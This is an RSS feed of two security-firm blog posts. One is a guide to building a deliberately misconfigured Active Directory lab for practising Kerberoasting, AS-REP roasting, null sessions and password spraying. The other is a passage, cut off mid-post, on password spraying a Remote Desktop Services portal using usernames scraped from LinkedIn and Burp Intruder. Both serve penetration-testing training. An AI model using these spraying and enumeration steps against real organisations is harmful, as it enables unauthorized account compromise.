<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Vartai Security on Medium]]></title>
        <description><![CDATA[Stories by Vartai Security on Medium]]></description>
        <link>https://medium.com/@vartaisecurity?source=rss-10dff387b6a8------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/2*plCRrT03T4fAwG3YFhkaew.png</url>
            <title>Stories by Vartai Security on Medium</title>
            <link>https://medium.com/@vartaisecurity?source=rss-10dff387b6a8------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 02:54:51 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@vartaisecurity/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Lab Building Guide: Virtual Active Directory]]></title>
            <link>https://medium.com/vartai-security/lab-building-guide-virtual-active-directory-d900dc68dbed?source=rss-10dff387b6a8------2</link>
            <guid isPermaLink="false">https://medium.com/p/d900dc68dbed</guid>
            <dc:creator><![CDATA[Vartai Security]]></dc:creator>
            <pubDate>Tue, 07 Apr 2020 19:54:09 GMT</pubDate>
            <atom:updated>2020-04-07T19:54:09.433Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TYDNoPKjrNAV5JLa5eaNaw@2x.png" /></figure><p><strong>Introduction</strong></p><p>As an information security professional it is extremely important to not only be able to find and exploit flaws but also understand the underlying issue and be able to articulate the reason/fixes to clients. With a home lab you can begin to gain “sysadmin” type experience if you do not already have it. A home lab provides the following benefits:</p><ul><li>Learn how to configure things improperly and how to fix them.</li><li>Have a test bed for practicing tools/tactics/techniques and a safe place to experiment with new and potentially volatile exploits.</li><li>Experiment with major Active Directory misconfigurations (these can be configured by hand or with a tool such as <a href="https://www.secframe.com/badblood?utm_content=112928626&amp;utm_medium=social&amp;utm_source=twitter&amp;hss_channel=tw-323400883">BadBlood</a>).</li><li>Fully test out and understand all of the capabilities of both built-in AD tools and automated enumeration tools such as PowerView and Bloodhound.</li></ul><p>The objective of this post to help readers build a fully functional mini AD lab that can be spun up to practice a wide variety of attacks. We will walk through creating the following lab structure:</p><p>Two Forests with a bidirectional forest trust and an intra-forest parent-child domain trust.</p><ul><li>1 domain controller (root DC — Forest A)</li><li>1 domain controller (child DC — Forest A)</li><li>1 domain controller (Forest B)</li><li>1 member server (web, file, SQL, application) (parent — Forest A)</li><li>1 workstation (child — Forest A)</li><li>1 workstation (Forest B)</li></ul><p>The domain name scheme will be as follows:</p><ul><li>octagon.local (root domain — Forest A)</li><li>dev.octagon.local (child domain — Forest A)</li><li>elysium.local (root domain — Forest B)</li></ul><p><strong>Initial Setup</strong></p><p>To get started you will need to set up the following:</p><ul><li>(4) Server 2016/2019 server VMs</li><li>(2) Windows 10 workstation VMs</li></ul><p>Begin by building each host fully and installing VMWare Tools. For now do not worry about applying any patches/updates. You can choose your own host names but for the purposes of this exercise we will be using:</p><ul><li>DC01(192.168.88.5)</li><li>DC02 (192.168.88.6)</li><li>DC03 (192.168.88.7)</li><li>MS01 (192.168.88.150)</li><li>WS01 (192.168.88.100)</li><li>WS02 (192.168.88.101)</li></ul><p>Configure each with the same local administrator password for now — don’t forget it!</p><p>In order to create your lab you will need desktop virtualization software such as VMWare Workstation/Fusion, VirtualBox or a separate hypervisor (server) running ESXi or Proxmox. This guide will cover the basics of initial setup with VMWare Workstation and VirtualBox. In-depth usage of each is out of the scope of this article. The necessary software can be downloaded from the following URLs:</p><ul><li><a href="https://www.vmware.com/products/workstation-player/workstation-player-evaluation.html">https://www.vmware.com/products/workstation-player/workstation-player-evaluation.html</a></li><li><a href="https://www.virtualbox.org/wiki/Downloads">https://www.virtualbox.org/wiki/Downloads</a></li></ul><p>If possible, we recommend following this guide using VirtualBox or VMWare Workstation (provided you have purchased a valid license for the latter). Aside from other advanced features, both Workstation and VirtualBox support tabs when running multiple VMs. VMware player does not support tabs and you will need a new instance of Player running for each VM.</p><p><strong>Creating a Virtual Machine with VMWare Workstation</strong></p><p>In VMware Workstation start by clicking on File → New Virtual Machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/418/1*yAzieR_JJnHqSMOh_je4dg.png" /></figure><p>Choose <em>Installer disc image file (iso)</em> and select the appropriate ISO file on your local system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/422/1*MDoDKyTYnfUGE3ImumNR-w.png" /></figure><p>Enter a password for the administrator user. If you leave the license key blank, you will have a 90 trial period.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/422/1*g3sVSVX9IGqb3skZFZrphQ.png" /></figure><p>Ignore the product key warning if it pops up.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/760/1*yuZ3NJCthIJ9t2UQu4okxw.png" /></figure><p>Choose a name for the VM based on the naming convention in prior slides. For better VM management and to avoid any conflicts create each VM in its own folder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/422/1*wEirELbLINv1k17bxmX2bQ.png" /></figure><p>Select <em>Store virtual disk as single file</em> and give it a 40GB disk.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/422/1*b8nvGzYku_VMNBE_3J6h_w.png" /></figure><p>Click <em>Finish</em> on the next screen. The default 2 GB ram and 2 cores should be plenty for lab purposes but can be adjusted later if issues arise.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/445/1*tFlqEXTSOdGhKRDWmbUW3w.png" /></figure><p>After clicking finish, the VM will boot. Hit enter to boot from the ISO image. Choose <em>Windows Server 2016 Standard (Desktop Experience).</em> If you are already comfortable with creating VMs/managing AD then you can choose Server Core <em>Windows Server 2016 Standard</em>. Server core has a smaller footprint on disk and utilizes less resources but does not have a GUI so all configuration must be done via PowerShell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/473/1*yGq_cydqyvDNCM63gyCdiw.png" /></figure><p>The installation process will start and takes a while so we recommend creating each VM in parallel to save time. Alternatively, you can create 1 VM image and clone and then sysprep it but we will not cover that in this post.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/505/1*Q5U1YSic6kqBDWWDWKup1w.png" /></figure><p><strong>Creating a Virtual Machine with VirtualBox</strong></p><p>The process for building a VM in VirtualBox is similar. It can be downloaded from here: <a href="https://www.virtualbox.org/">https://www.virtualbox.org</a>. VirtualBox is free to use and allows for multiple VMs to be run simultaneously. It offers many enterprise-grade features and is cross-platform (Windows, OSX, and Linux).</p><p>Start by selecting the option to create a new VM.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/519/1*M63rMZs_Vi7dMtHxFwj1UQ.png" /></figure><p>The defaults will work for the purposes of this lab. This can be adjusted based on your available hardware and resources. The screenshot below shows the default options for creating the virtual disk.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/497/1*7TMCcVMORo4F0Rz2EKdp5A.png" /></figure><p>For the purpose of this lab, be sure to leave the default <em>Dynamically allocated</em>. This will only use hard drive space as it fills up and save space on your host.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/539/1*sPjCBXnUvKfpICh0yjbEow.png" /></figure><p>As with VMware Workstation after clicking finish the VM will boot, hit enter to boot from the ISO image.</p><p>Choose <em>Windows Server 2016 Standard (Desktop Experience)</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/578/1*9X-cII7kp3MACxh8Me8Wiw.png" /></figure><p>Follow the same process to create a base image for each server/workstation VM. While this entire process can be automated with Vagrant/Packer, Ansible, PowerCLI, etc., we feel it is important to become comfortable manually performing each task, starting from the basics, before moving towards automation.</p><p><em>Note: Make sure to install VMWare Tools on each VM.</em></p><p><strong>Building the Lab — Creating a Domain Controller</strong></p><p>Once the VMs are built, log in to the VM that will be your first Domain Controller. Search for ‘Computer’ in the start menu or go to Control Panel → System and Security → Security and change the computer name to a host name such as DC01 and then restart the server when prompted.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/303/1*8ZWw84-BCpcRrLMvJPku7w.png" /></figure><p>Change network settings to set a static IP address and set the DNS server to localhost (127.0.0.1). You can also set DNS back to 8.8.8.8 if you need to do updates or download something but its preferable to keep your vulnerable lab local and not internet facing the majority of the time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/391/1*NlHgNXmy1pcX6AGn7lCxiw.png" /></figure><p>Your first Domain Controller is necessary for getting everything up and running with Active Directory. Log in to Server Manager and click on <em>Add roles and features</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*HDMYZfpSShH1lvYpizkVTQ.png" /></figure><p>Add the <em>Active Directory Domain Services </em>role, which is necessary before promoting the server to a domain controller. Leave all other roles unchecked and click <em>Next</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/575/1*wO8qVyMsJpZI-meBTjSfQQ.png" /></figure><p>Check the box next to <em>Restart the destination server automatically if required </em>and click <em>Yes</em> to confirm automatic restarts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/614/1*ft6efxv6hXBJmCAF883Ryw.png" /></figure><p>Once the role is installed click on <em>Promote this server to a domain controller.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/595/1*xlSilIkYM44EhBunLqab3g.png" /></figure><p>On the next screen, choose <em>Add a new forest</em> and select a root domain name. Choose something ending in .local or .ad.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/753/1*_jMNWsB3o0CjW4TMfpK7yQ.png" /></figure><p>Leave all of the defaults on the next screen and enter a DSRM password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/752/1*E9-EHejSQjukQrTwqoIsmQ.png" /></figure><p>Click <em>Next </em>and either leave the suggested NETBIOS name or modify it if desired.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/751/1*m5fF4n4KlqY-1o6flWdB7Q.png" /></figure><p>Click <em>Next </em>and leave all defaults, click <em>Next</em> again to go through prerequisite checks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/753/1*7hxSdvAs73eF5AdJJQmAhw.png" /></figure><p><em>Note: If you have not set a password for the built-in administrator account yet, installation will fail</em>. Set a password for the administrator account and click on Rerun prerequisites check.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/516/1*qyNCyRm4htHmp7127XlkwQ.png" /></figure><p>Click on Install to complete the process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/540/1*090C00dLpXK_qy0LNRU6zg.png" /></figure><p>Once rebooted, confirm the new DC by opening a PowerShell window and typing <em>Get-ADDomain.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/841/1*H01XnNfHyTCN43RnlhRzAQ.png" /></figure><p><em>Note: We can do the entire process with PowerShell as well.</em></p><p><strong>Rename the host</strong></p><p><em>Rename-computer -newname DC01 (Do not reboot yet)</em></p><p><strong>Set the IP Address</strong></p><pre><em>Get-NetAdapter </em>(likely will show Ethernet0 but confirm)</pre><pre><em>1: $ipaddress = &quot;192.168.x.x&quot;</em></pre><pre><em>2: $dnsaddress = &quot;127.0.0.1&quot;</em></pre><pre><em>3: New-NetIPAddress -InterfaceAlias Ethernet0 -IPAddress $ipaddress -AddressFamily IPv4 -PrefixLength 24</em></pre><p><strong>Update the DNS Server</strong></p><pre><em>Set-DnsClientServerAddress -InterfaceAlias Ethernet -ServerAddresses $dnsaddress</em></pre><pre><em>Restart-Computer</em></pre><p><strong>Install and Configure the DC</strong></p><pre><em>Install-WindowsFeature AD-Domain-Services –IncludeManagementTools</em></pre><pre><em>Install-ADDSForest -DomainName octagon.local</em></pre><p><strong>Follow all of the prompts, set the DSRM password and allow the server to reboot. Once rebooted, confirm the new DC.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/486/1*JtSP0sHFcKV_1Vjr0u5TSA.png" /></figure><p><strong>Building the Lab — Joining a Host to the Domain</strong></p><p>Go into Network Connections and then adapter settings to change the DNS server to point to the domain controller and set a static IP within whatever range your DC is in. Here the DC IP address would be 192.168.88.5.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/391/1*sSpzP8jV4SNTrQcI-J2Obw.png" /></figure><p>Search for Computer in the start menu, right click and select ‘properties’. Go down to the <em>Computer name, domain, and workgroup</em> settings, and click on <em>Change settings</em>.</p><p>Click on <em>Change </em>next to <em>To rename this computer or change its domain or workgroup, Click Change</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*TYn7Ii6eYjMnx7ST2eEMRw.png" /></figure><p>Change the domain name to match the one you set up on the DC and you will be prompted for credentials to join the computer to the domain.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/398/1*X6cCfbDSxPNOc1KJgfiaxA.png" /></figure><p><strong>Building the Lab — Setting up the Child Domain</strong></p><p>For this lab we will set up a child domain to set up an intra-forest trust as well as a second forest in order to establish an external trust.</p><p>On the second Domain Controller go through the same process to create a DC and choose either <em>Add a new domain to an existing forest </em>and select <em>Child Domain</em> from the drop down<em> </em>to create a child domain within the same forest.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/563/1*NPrhrwK8vRAME85gQMnC0Q.png" /></figure><p>Make sure the DNS server on DC02 is the IP address of the parent Domain Controller. Disable Windows firewall on both machines.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/391/1*YlCFCufmSC5OHJ93upTNvA.png" /></figure><p>Type in the the parent domain and click <em>Select</em>. When the popup appears type in the Administrator password for DC02 and select the parent domain from the list.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/752/1*CmgiHaulF5LlDAc4UtGArQ.png" /></figure><p>Choose a name for the child domain. This should be one word such as <em>dev </em>as it will be prepended to the root domain name in the form of a subdomain (i.e. *.octagon.local).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/752/1*z4V9_hjLbNZpS4LJswHpoQ.png" /></figure><p>Click on <em>Select</em> and put the Domain Admin credentials for the first domain into the popup. You will then be prompted to select that domain within the forest. Follow all of the prompts and leave the defaults.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/751/1*hCrAz1wMZJULt9MNqGqsRQ.png" /></figure><p>Enter the child domain name, one word such as <em>dev. </em>Continue through the remaining steps to finishing creating the new DC.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/751/1*CerYJ37P-vc4kydKx_gVxA.png" /></figure><p>Confirm that the child domain was created.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/836/1*3K0C9BrvvbDZUWUI3OGTfw.png" /></figure><p>Confirm the trust was set up from DC01.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/559/1*uSVSB-uw0839UK2vwru_Pg.png" /></figure><p><strong>Building the Lab — Setting up a Forest Trust</strong></p><p>The first step is setting up a new Conditional Forwarder under DNS Manager on both DC01 and DC03 so the forests can communicate properly via DNS.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/393/1*8dGM3406EGhP4jp-UXWxCw.png" /></figure><p>The first step is setting up a new Conditional Forwarder under DNS Manager on both DC01 and DC03 so the forests can communicate properly via DNS. Right click on <em>Conditional Forwarders </em>and select <em>New Conditional Forwarder.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/597/1*xd0gloXaYkqEcY-IAJAw9A.png" /></figure><p>On DC01 enter the domain name that you set on DC03 as well as the IP address of that Domain Controller.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/526/1*6T7AIMC1cwrj3XYyrsy-QQ.png" /></figure><p>Click OK and check that the Conditional Forwarder appears in the list.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/471/1*zp2xi8hq5wh79OiYFBpmAQ.png" /></figure><p>Test that DNS is resolving properly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/452/1*l4G5wKhbYdGOKtOKliJ6nQ.png" /></figure><p>Do the same on DC03.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/524/1*J40-_lnsAV__bDs6KGarXw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/461/1*NucxTERwH-mtF4Nu-MimJA.png" /></figure><p>Next, open up <em>Active Directory Domains and Trusts</em> on DC01, right-click on the forest root and select Properties. You’ll see the Child domain created prior.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/393/1*MoM5bXYEnkCNHmjWpynGaQ.png" /></figure><p>Click on <em>New Trust</em>. Click <em>Next </em>and type in the domain name for DC03. Click <em>Next </em>and select <em>Forest trust</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/489/1*ecsXvB2pVTuBe3vNsUTkbA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/487/1*ZeytgNsZJPQvRweUUyZ-4Q.png" /></figure><p>Select <em>Two-way</em> to create a bidirectional trust, meaning that users in Forest A can authenticate to Forest B and vice-versa.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/491/1*keMq5dt7vvJx9V-7l_43wA.png" /></figure><p>To save from having to repeat this process on DC03 select <em>Both this domain and the specified domain.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/491/1*v_zdrY0Yb8n-atylJsf0kw.png" /></figure><p>Type in the credentials for the Domain Admin in the other forest (DC03).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/453/1*mhF1oEeo5Au6sigKCH-Pgw.png" /></figure><p>To simplify things select <em>Forest-wide authentication </em>on the following two screens.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/453/1*Cd0H_w75lIEyluDL_6LMAg.png" /></figure><p>Confirm the trust settings and click <em>Next</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/489/1*cBQ_Ss5LL2vyl96XqR4n1A.png" /></figure><p>Then click <em>Next</em> again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/493/1*IY9Fex0uIMfhWBNEnyloXg.png" /></figure><p>Click <em>Yes, confirm the outgoing trust </em>and <em>Yes, confirm the incoming trust.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/492/1*PNQPbk2gkUih4xravnhXlg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/491/1*azWQ86ZNqJSoP2MEy3pU9Q.png" /></figure><p>If everything went to plan you will get a confirmation message that the trust relationship was successfully created.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/492/1*HWZP7him8xIRwqdfUt_jEA.png" /></figure><p>Click <em>Finish</em> and the new Forest trust will appear.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/392/1*oswAftAc9Ls-D03h9cvpbg.png" /></figure><p>Validate the trust relationship on both sides by running this command on both DC01 and DC03.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/544/1*81dHJInAC2lsM5tanP9_dA.png" /></figure><p><em>Note: Take snapshots of all VMs in a powered off state before continuing. This will preserve the trusts in case you have to revert all of the images.</em></p><p><strong>Building the Lab — Adding in Misconfigurations</strong></p><p>Now it is time to make a mess of these domains. You can add user/computer objects manually or use <a href="https://github.com/davidprowe/BadBlood">BadBlood</a> in each domain to add OUs, users, groups, computer objects and ACLs.</p><p>Download BadBlood to the machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/841/1*X4dd1soiey3Yyh9kLcGBkw.png" /></figure><p><em>Note: If you receive the error message “Could not Create SSL/TLS secure channel because PowerShell defaults to TLS1.0 use enter the following command and re-try the wget request:</em></p><pre>[Net.ServicePointManager]::SecurityProtocol =[Net.SecurityProtocolType]::Tls12</pre><p>Open up the script to modify the number of users to speed things up. Change 1000…5000 to 100..500 or something smaller than the default.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hpcMQ--PU8VzGlrX4dmgbg.png" /></figure><p>Run the script by typing <em>.\Invoke-BadBlood.ps1</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*y5xXevBT4RSUxisQ-1PCOg.png" /></figure><p>Check the results.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/484/1*5N6AzQ8DiJQxwBh6muLSCw.png" /></figure><p>Many flaws and misconfigurations can be added to the lab to practice common and more advanced Attack Directory enumeration and attacks.</p><ul><li>Utilize BadBlood to add OUs, users and computers and set up many misconfigured ACLs and groups. This can also be done manually.</li><li>Give a user DCSync privileges.</li><li>Set up SPNs for Kerberoasting (set this up across the forest trust too!).</li><li>Configure a user with a password in the description field.</li><li>Add <em>ANONYMOUS LOGON</em> to the <em>Pre-Windows 2000 Compatible Access </em>group to be able to leverage SMB NULL sessions to practice “internal” password spraying.</li><li>Configure a user with Kerberos pre-authentication not required.</li><li>Set up unconstrained/constrained delegation.</li></ul><p>Utilize scheduled tasks to simulate user activity:</p><ul><li>Browsing a file share for using Responder/Inveigh.</li><li>Simulated Phishing.</li><li>Simulate a user clicking on a malicious executable.</li></ul><p><em>Note: An unpatched Server 2016 is vulnerable to EternalBlue by default.</em></p><p>Below are a few examples of misconfigurations that you can add to your lab.</p><p><strong>Building the Lab — Example Misconfigurations</strong></p><p><strong>Password in Description Field</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/329/1*Q2OixC0u5j1abKyJfeOtRQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/613/1*YdR6aFAmmHIGaO6mSt6dpw.png" /></figure><p>Kerberos pre-authentication not required (ASREPRoast). There are a few ways to set this up. The easiest way is opening <em>Active Directory Users and Computers</em>, right click on a user and choose Properties, and then browse to the <em>Account </em>tab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/405/1*IkIQ5lzr4MfxuFGGjmf9uQ.png" /></figure><p>You can confirm the setting with PowerView.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*o5kP_LLa2zSBri0NneqX5A.png" /></figure><p>The attack can be tested out locally with Rubeus or remotely with the Impacket toolkit <em>GetNPUsers.py.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*bUoAl_Wdgfarkb_cGkyX3w.png" /></figure><p><strong>Set up SPNs for Kerberoasting</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/1*sYbVvSpdcewGPOQ4bw6pxg.png" /></figure><p>Enumerate the newly created SPN with PowerView.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*thLZ7snnIsTqGZYIVxpxjQ.png" /></figure><p>Test out the attack locally with Rubeus.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/773/1*Y4A6Jv3s2TqW1gmjWpqXrg.png" /></figure><p><strong>SMB NULL Session</strong></p><p>Add ANONYMOUS LOGON to the Pre-Windows 2000 Compatible Access built-in group. This will allow for retrieval of the domain password policy and all users in order to mount a password spraying attack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/989/1*_rAlh9CZsuT-ZUTmyZVjSA.png" /></figure><p>Add some users with common/weak passwords. This can be done a number of ways (cmd, PowerShell, etc.).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/542/1*3H0hcO7D7fqTV_PXPNsWoQ.png" /></figure><p>Confirm user list and password policy with enum4linux.</p><pre>enum4linux -U -P 192.168.88.5</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K5ani8RJtCqFtcGmlqNu1w.png" /></figure><p>Make a user list from the output and attempt password spraying for a common password that you set for multiple users on DC01. Password spraying can be performed a variety of ways. One way is using rpcclient from Linux. A nice Bash script for performing password spraying with rpcclient can be found <a href="https://www.ryanwendel.com/2017/10/08/credential-spraying-smb-servers-with-rpcclient/">here</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8HdbdMgm575wqtF7q3HOcw.png" /></figure><p><strong>Experiment with adding</strong> <strong>in more flaws/attacks as you see fit!</strong></p><p><strong>We will demonstrate adding in additional misconfigurations, simulated user activity, as well as building this lab with PowerShell and Vagrant/Packer automation in later posts.</strong></p><p>Interested in hearing more about our services?</p><p>Contact us at <a href="/service/mailto:info@vartaisecurity.com">info@vartaisecurity.com</a> to discuss your unique project needs.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d900dc68dbed" width="1" height="1" alt=""><hr><p><a href="https://medium.com/vartai-security/lab-building-guide-virtual-active-directory-d900dc68dbed">Lab Building Guide: Virtual Active Directory</a> was originally published in <a href="https://medium.com/vartai-security">Vartai Security</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Attack Chain Series: Remote Access Service Compromise Part 1 — RDS]]></title>
            <link>https://medium.com/vartai-security/attack-chain-series-remote-access-service-compromise-part-1-rds-e984101c78b7?source=rss-10dff387b6a8------2</link>
            <guid isPermaLink="false">https://medium.com/p/e984101c78b7</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[windows-defender]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[remote-working]]></category>
            <dc:creator><![CDATA[Vartai Security]]></dc:creator>
            <pubDate>Sat, 04 Apr 2020 23:44:51 GMT</pubDate>
            <atom:updated>2020-04-04T23:44:51.743Z</atom:updated>
            <content:encoded><![CDATA[<h3>Attack Chain Series: Remote Access Service Compromise Part 1 — RDS</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qW-Rc3lUhCt-VYoJ9s13bg@2x.png" /></figure><h3><strong>Introduction</strong></h3><p>In this 5 part series we will be showing ways that attackers gain internal access by attacking services that companies commonly expose to the internet to facilitate remote work. We will highlight the following 5 of scenarios:</p><ol><li>Application breakout via Remote Desktop Services (RDS)</li><li>Attacking Microsoft Exchange email via Outlook Web Access (OWA)</li><li>Attacking Microsoft 0365</li><li>Leveraging exploits against VPN endpoints</li><li>Attacking publicly exposed edge network devices (routers/switches)</li></ol><p>Each post will demonstrate techniques for gaining access by attacking/abusing these services as well as a variety of methods for bypassing defenses and moving laterally/vertically once inside the internal network.</p><p><strong>Note:</strong><em> This is a fictional organization and all attacks are performed in a private lab environment. Do not attempt to perform these types of enumeration or attacks unless explicitly permitted in writing by a client.</em></p><h3>Gaining a Foothold from the Outside</h3><h4><strong>External Enumeration</strong></h4><p>Initial enumeration shows an RD Web Access portal exposed (Remote Desktop Servieces, or RDS). RDS can be utilized to provide users with remote access to an entire desktop or just specific applications and programs required for their day-to-day work. RDS is server-based and allows for multiple users to access the same system at the same time. Like other products that utilize Active Directory (AD) authentication, unauthorized access can often be obtained via password spraying attacks.</p><p>Even if users are not given full access to the operating system it is usually possible to “break out” of applications provisioned to the user (such as Internet Explorer, Notepad,Wordpad,help buttons among others) and gain shell access to the operating system. From here an attacker can either perform local privilege escalation attacks on the RDS server or begin enumerating the internal AD environment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/1*EhKRtTXc4lFHzhctLQSwNg.png" /><figcaption>Remote Desktop Services (RDS) Login Page</figcaption></figure><h4>Password Spraying RDS</h4><p>In order to perform a password spraying attack we first need the internal domain name of the target. This can be found quickly in the RDS logon page source as the WorkSpaceID.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YO-v1_rvUhRk8QRZ_zxNPg.png" /><figcaption>Obtaining the Internal Domain Name</figcaption></figure><h4>Creating a User List</h4><p>With this in hand, we can create a list of potential users from the company’s LinkedIn page. This can be done quickly with <a href="https://github.com/initstring/linkedin2username">linkedin2username</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fix4jkNzHdQ35KVLdP7X3g.png" /><figcaption>Creating User List with linkedin2username</figcaption></figure><p>It is usually possible to find an organization’s email (and likely internal username) structure from a quick Google search. Our fictional target <em>Octagon International</em> uses the structure first_last. Linkedin2username does not create this format but the tool can be modified or one of the username lists that it creates can be modified with sed (changing first.last to first_last).</p><pre>$sed -i &#39;s/\./_/g&#39; octagon-first.last.txt</pre><h4>Setting up Burp Intruder</h4><p>There are many ways to perform password spraying but Burp suite gives us a considerable amount of flexibility and control. We start by capturing the login POST request and leaving a placeholder for the username.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CJUMX-Nv9XXTXTP3TJm4bA.png" /><figcaption>Login POST Request</figcaption></figure><p>We send the request to <em>Intruder</em>, choose the username placeholder as the payload position, and choose a common, weak, password <em>Welcome1.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*84uKLImzh06Wi-v5nPS3xg.png" /><figcaption>Burp Intruder Positions Setup</figcaption></figure><p>Next we populate the <em>Payloads </em>tab with the username list harvested from LinkedIn.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ayQN-yDy5vGGjh7eHG1SIg.png" /><figcaption>Burp Intruder Payloads Tab</figcaption></figure><p>Under the <em>Options </em>tab we can adjust threads, add in pauses, throttling, etc. It is important to tune this to minimize impact and load on the service.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XqqCzfl-Id_t-WDRrj9mwg.png" /><figcaption>Burp Intruder Options Tab</figcaption></figure><p>The <em>Redirections </em>section under <em>Options </em>can be modified to automatically follow redirects, this will be useful to quickly flag any valid login attempts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/708/1*nBo02r83v6TvU0kZtg-8-w.png" /><figcaption>Intruder Redirections 